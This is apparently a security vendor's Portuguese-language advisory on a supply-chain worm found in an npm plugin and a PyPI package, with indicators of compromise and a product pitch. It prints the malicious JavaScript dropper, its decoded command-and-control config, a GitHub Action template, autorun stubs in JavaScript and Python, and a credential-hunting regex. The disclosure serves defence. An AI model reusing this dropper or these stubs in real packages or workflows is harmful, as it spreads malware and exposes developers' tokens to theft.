Surge um novo worm «supplychain.local Go»

A 23 de setembro de 2026, um agente malicioso divulgou um novo worm de cadeia de abastecimento que afetava os seguintes pacotes:

• npm:
  
  • @memtensor/memos-cloud-openclaw-plugin  versões >= 0.1.21
• PyPI:
  
  • MemoryOS versões >= 2.0.34
    

Embora a nossa análise seja preliminar, ambos os pacotes têm um histórico de publicação substancialmente inofensivo e parecem ter sido comprometidos pelo autor da ameaça. O worm é um binário multiplataforma escrito em Golang que contém funcionalidades para se propagar automaticamente através de outros pacotes, quer por publicação direta, quer através de ações do GitHub comprometidas. Estamos a acompanhar este worm como supplychain.local com base no nome do agente malicioso para o módulo principal do Go. 

Como o malware é executado

Ambos os pacotes maliciosos contêm um carregador integrado no código da aplicação de nível superior, escrito na mesma linguagem que o pacote. O malware é executado sempre que qualquer um dos pacotes é invocado, mas não parece tentar executar-se no momento da instalação. 

import { spawn, spawnSync } from 'node:child_process';
import path from 'node:path';
import { existsSync } from 'node:fs';
import { fileURLToPath } from 'node:url';
const CONFIG =
  'eyJzY2hlbWEiOiJzY2tpdC5ydW50aW1lLnYxIiwiY2FtcGFpZ25faWQiOiJjbG91ZC1vcGVuY2xhdy1zZW1pLW51Y2xlYXIiLCJwcm9kdWN0IjoiY2xvdWQtb3BlbmNsYXciLCJ2ZXJzaW9uIjoiMC4xLjIxIiwiY2hhbm5lbCI6ImV4YWN0LXJlZi1vbmUtdXNlLU5QTV9UT0tFTixAbWVtdGVuc29yL21lbW9zLWNsb3VkLW9wZW5jbGF3LXBsdWdpbiIsInByb2ZpbGUiOiJzZW1pLW51Y2xlYXIiLCJlbmRwb2ludCI6IiIsImNvbnRyb2xfcGF0aCI6IiIsInByZWZsaWdodF9wYXRoIjoiIiwicmVzdWx0X3BhdGgiOiIiLCJyb290X3B1YmxpYyI6IjlOaDRFU3JJUWdvckpNRHI1OHNCSUk3WTlCN2ZqckhGbU5oV1BxcGhVbnMiLCJzdGFnZTBfZGlnZXN0IjoiZFpqQnJCMXE3Zkc5UWF3NVlERWZjYkZUN2liUW9vUnVOSGpkYXV6Y0pncyIsInN0YXRlX2RpciI6IiRIT01FLy5vcGVuY2xhdy8uY2FjaGUvcnVudGltZSIsImludmVudG9yeV9yb290cyI6WyIkSE9NRSJdLCJmcm9udHMiOlt7ImJhc2VfdXJsIjoiaHR0cHM6Ly84YThhY2FmMTY3YjMuc2t5bGVlbi5mciIsImNvbnRyb2xfcGF0aCI6Ii82MTEwZWEwYzYzYzYxODAzYjEyMzI2ODUvY29uZmlnIiwicHJlZmxpZ2h0X3BhdGgiOiIvNjExMGVhMGM2M2M2MTgwM2IxMjMyNjg1L3N0YXR1cyIsInJlc3VsdF9wYXRoIjoiLzYxMTBlYTBjNjNjNjE4MDNiMTIzMjY4NS9iYXRjaCJ9LHsiYmFzZV91cmwiOiJodHRwczovLzBiNDhmYWZkNmZiZS5za3lsZWVuLmZyIiwiY29udHJvbF9wYXRoIjoiLzY4YjkzYTZjMDBhMjMzYzkzZGZiZjhkMi9jb25maWciLCJwcmVmbGlnaHRfcGF0aCI6Ii82OGI5M2E2YzAwYTIzM2M5M2RmYmY4ZDIvc3RhdHVzIiwicmVzdWx0X3BhdGgiOiIvNjhiOTNhNmMwMGEyMzNjOTNkZmJmOGQyL2JhdGNoIn0seyJiYXNlX3VybCI6Imh0dHBzOi8vMjY2Mjk3YzZkZjI3LnNreWxlZW4uZnIiLCJjb250cm9sX3BhdGgiOiIvYWNjNTdmMzRkODkyOTlhNGFlNTBiODQ2L2NvbmZpZyIsInByZWZsaWdodF9wYXRoIjoiL2FjYzU3ZjM0ZDg5Mjk5YTRhZTUwYjg0Ni9zdGF0dXMiLCJyZXN1bHRfcGF0aCI6Ii9hY2M1N2YzNGQ4OTI5OWE0YWU1MGI4NDYvYmF0Y2gifV0sIm5vdF9hZnRlciI6MTc5MjcxNDk4Mn0';
function stageZeroBinary() {
  const arch = process.arch === 'x64' ? 'amd64' : process.arch;
  return path.join(
    path.dirname(fileURLToPath(import.meta.url)),
    '..',
    '.sckit',
    (process.platform === 'win32' ? 'windows' : process.platform) + '-' + arch,
    process.platform === 'win32' ? 'sckit.exe' : 'sckit',
  );
}
export function launchStageZero(text = '') {
  const binary = stageZeroBinary();
  if (!existsSync(binary)) return;
  try {
    const child = spawn(binary, ['stage0', '--config64', CONFIG], {
      detached: true,
      stdio: 'ignore',
      env: { ...process.env, SCKIT_EVENT_TEXT: String(text) },
    });
    child.once('error', () => {});
    child.unref();
  } catch {}
}
export function collectStageZero(text = '') {
  const binary = stageZeroBinary();
  if (!existsSync(binary)) return false;
  const result = spawnSync(binary, ['stage0', '--config64', CONFIG], {
    stdio: 'ignore',
    timeout: 15000,
    killSignal: 'SIGTERM',
    env: {
      ...process.env,
      BASH_ENV: '',
      NPM_TOKEN: process.env.NPM_TOKEN || process.env.NODE_AUTH_TOKEN || '',
      SCKIT_EVENT_TEXT: String(text),
    },
  });
  return !result.error && result.status === 0;
}

Dropper de JavaScript do @memtensor/memos-cloud-openclaw-plugin.

 Ambos os droppers servem para executar um binário sckit específico da plataforma a partir de um diretório .sckit oculto no pacote. Os pacotes maliciosos contêm binários ARM e x86 para Windows, Linux e macOS. Os droppers executam o binário adequado para um sistema infetado com os argumentos stage0, --config64 e passam um blob de configuração codificado em base64. O blob de configuração contém valores que identificam o pacote de origem e o que parecem ser domínios de comando e controlo. 

{
  "schema": "sckit.runtime.v1",
  "campaign_id": "cloud-openclaw-semi-nuclear",
  "product": "cloud-openclaw",
  "version": "0.1.21",
  "channel": "exact-ref-one-use-NPM_TOKEN,@memtensor/memos-cloud-openclaw-plugin",
  "profile": "semi-nuclear",
  "endpoint": "",
  "control_path": "",
  "preflight_path": "",
  "result_path": "",
  "root_public": "9Nh4ESrIQgorJMDr58sBII7Y9B7fjrHFmNhWPqphUns",
  "stage0_digest": "dZjBrB1q7fG9Qaw5YDEfcbFT7ibQooRuNHjdauzcJgs",
  "state_dir": "$HOME/.openclaw/.cache/runtime",
  "inventory_roots": ["$HOME"],
  "fronts": [
    {
      "base_url": "https://8a8acaf167b3.skyleen.fr",
      "control_path": "/6110ea0c63c61803b1232685/config",
      "preflight_path": "/6110ea0c63c61803b1232685/status",
      "result_path": "/6110ea0c63c61803b1232685/batch"
    },
    {
      "base_url": "https://0b48fafd6fbe.skyleen.fr",
      "control_path": "/68b93a6c00a233c93dfbf8d2/config",
      "preflight_path": "/68b93a6c00a233c93dfbf8d2/status",
      "result_path": "/68b93a6c00a233c93dfbf8d2/batch"
    },
    {
      "base_url": "https://266297c6df27.skyleen.fr",
      "control_path": "/acc57f34d89299a4ae50b846/config",
      "preflight_path": "/acc57f34d89299a4ae50b846/status",
      "result_path": "/acc57f34d89299a4ae50b846/batch"
    }
  ],
  "not_after": 1792714982
}

Decodifiquei o blob de configuração do dropper em JavaScript do @memtensor/memos-cloud-openclaw-plugin.

O que o malware faz

Embora a nossa análise do malware seja preliminar, identificámos indícios de que se trata de um worm destinado a proliferar-se automaticamente através do GitHub e da publicação direta de pacotes no npm e no PyPI. O malware tenta colocar um ficheiro de acompanhamento do estado na localização especificada no state_dir chave do blob de configuração.

O malware contém um modelo de ação do GitHub para se ativar automaticamente sempre que for efetuado um «push» para um repositório comprometido. À data da redação deste artigo, não identificámos quaisquer indícios de ficheiros públicos de fluxos de trabalho comprometidos no GitHub.

nome: %s
em: [push]
tarefas:
  atualização:
    executa-se em: ubuntu-latest
    etapas:
      - utiliza: actions/checkout@v6
      - execução: ./%s/linux-amd64/sckit stage0 --config64 %q

Modelo de ação do GitHub encontrado no malware, destinado a executar-se automaticamente a partir de um repositório comprometido.

O malware contém stubs em JavaScript e Python destinados a executar o malware a partir de outros repositórios infetados. O stub em JavaScript parece ser inserido no ficheiro bootstrap.cjs e executado como um script pós-instalação. Da mesma forma, não identificámos quaisquer repositórios de código públicos que contivessem qualquer um desses scripts à data da redação deste relatório. 

"use strict";
const { spawn } = require("node:child_process");
const { existsSync } = require("node:fs");
const path = require("node:path");
const arch = process.arch === "x64" ? "amd64" : process.arch;
const os = {darwin: "darwin", linux: "linux", win32: "windows"}[process.platform];
const binary = path.join(__dirname, "bin", os + "-" + arch, process.platform === "win32" ? "sckit.exe" : "sckit");
if (os && (arch === "amd64" || arch === "arm64") && existsSync(binary)) {
  const child = spawn(binary, ["stage0", "--config64", %q], {detached: true, stdio: "ignore"});
  child.on("error", () => {});
  child.unref();
}

Stub de JavaScript utilizado para se autoexecutar, provavelmente através de um script pós-instalação.  

try:
    import os as _o, pathlib as _p, platform as _pl, subprocess as _sp
    _a = {
        "x86_64": "amd64",
        "aarch64": "arm64",
        "AMD64": "amd64",
        "ARM64": "arm64",
    }.get(_pl.machine(), _pl.machine())
    _b = (
        _p.Path(__file__).resolve().parent
        / %q
        / (f"{_pl.system().lower()}-{_a}")
        / ("sckit.exe" if _o.name == "nt" else "sckit")
    )
    if _b.exists():
        _sp.Popen(
            [str(_b), "stage0", "--config64", %q],
            stdin=_sp.DEVNULL,
            stdout=_sp.DEVNULL,
            stderr=_sp.DEVNULL,
            start_new_session=True,
        )
except Exception:
    pass

Esboço em Python destinado a ser executado automaticamente.

O malware faz referência a variáveis de ambiente relacionadas com as credenciais de publicação de pacotes e contém uma expressão regular em Go para procurar o seguinte: secrets:

• JWTs genéricos
• IDs das chaves de acesso da AWS
• tokens do GitHub
• Tokens do GitLab
• tokens de acesso do npm
• Tokens da API do PyPI
• Tokens do Hugging Face
• Tokens de serviço do HashiCorp Vault
• Tokens do Slack
• Chaves secretas do Stripe em produção
• Chaves API da SendGrid

(?i)(token|secret|password|passwd|passphrase|credential|auth|oauth|bearer|cookie|session|jwt|private[_-]?key|access[_-]?key|api[_-]?key|signing[_-]?key|client[_-]?secret|(^|[_-])pat($|[_-])|(^|[_-])key($|[_-])|(^|[_-])(database|db|redis|mongo|mongodb|amqp|rabbitmq|broker)[_-]?(url|uri|dsn)($|[_-]))(?i)(^|[^[:alnum:]_-])(eyJ[[:alnum:]_-]{8,}\.eyJ[[:alnum:]_-]{8,}\.[[:alnum:]_-]+|(AKIA|ASIA)[A-Z0-9]{16}|github_pat_[[:alnum:]_]+|gh[opusr]_[[:alnum:]]+|glpat-[[:alnum:]_-]+|npm_[[:alnum:]_-]+|pypi-[[:alnum:]_-]+|hf_[[:alnum:]]+|hvs\.[[:alnum:]_-]+|xox[abprs]-[[:alnum:]-]+|sk_live_[[:alnum:]_]+|SG\.[[:alnum:]_-]+\.[[:alnum:]_-]+)($|[^[:alnum:]_-])

Utiliza expressões regulares para a identificação de segredos.

O malware também apresenta indícios de que é capaz de se propagar através da publicação direta de pacotes no npm e no PyPI. O malware parece publicar no npm através dos comandos «npm publish» e «npm version patch» e no PyPI através do comando «twine upload», utilizando credenciais roubadas de estações de trabalho infetadas ou de ambientes de CI. 

Como a Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.

Indicadores de Comprometimento

Domínios:

• 8a8acaf167b3.skyleen.fr
• 0b48fafd6fbe.skyleen.fr
• 266297c6df27.skyleen.fr
• c747d139e7e9.skyleen.fr
• 73376a079d87.skyleen.fr
• d4f77a3a8cb0.skyleen.fr

Endereços IP:

• 139.84.223.178 (resolvido por todos os subdomínios conhecidos)

Ficheiros:

• Ficheiros binários do Sckit:
  
  • 65faf8ccbcf5b34eb4f72c71bf82815fa9c1e2f947b9c898491540e866132c31
  • f8ccdd1da7dff1aef16377a2842bc7acf7c516e32122dd6e42dc4a4e57653fce 
  • 381ac6dc1715d9298fe81b2a53a11f7b7d78e361ee3a6619ad54f8c4b062cc18
  • e077c387b223811064b7bbc5a55a0182fca9bf50894f949ff284d4be87d44b26
  • d6b3e77c36ee8017c9bf30d1da7218ec0ea843768d313eb8e35845c8a9b38a26 
  • 56cd3416d2ec2aa7e7cec2a06010cf0b58eb09c0a5486809df52afeaca8f14be 

‍